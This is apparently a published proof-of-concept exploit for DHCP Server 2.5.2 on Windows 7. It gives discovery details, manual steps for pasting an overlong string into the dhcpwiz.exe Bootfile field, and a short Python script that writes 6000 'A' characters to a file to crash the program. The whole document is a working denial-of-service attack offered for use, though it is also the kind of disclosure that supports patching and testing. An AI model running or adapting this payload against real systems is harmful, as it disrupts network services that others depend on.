#Exploit Title: DHCP Server 2.5.2 - Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-04-16#Vendor Homepage: http://www.dhcpserver.de/cms/#Software Link: http://www.dhcpserver.de/cms/wp-content/plugins/download-attachments#Tested Version: 2.5.2#Tested on: Windows 7 x32 Service Pack 1#Steps to produce the crash:#1.- Run python code: DHCPSRV_2.5.2.py#2.- Open dhcp.txt and copy content to clipboard#2.- Open dhcpwiz.exe #3.- Click Next#4.- In Network Interface cards Select "Local Area Connection" and click on Next #5.- In Supported Protocols click on Next #6.- In Configuring DHCP for Interface Select "DHCP Options"#7.- Select "Bootfile" field and Paste ClipBoard#8.- Crashed
cod = "\x41"* 6000
f = open('dhcp.txt','w')
f.write(cod)
f.close()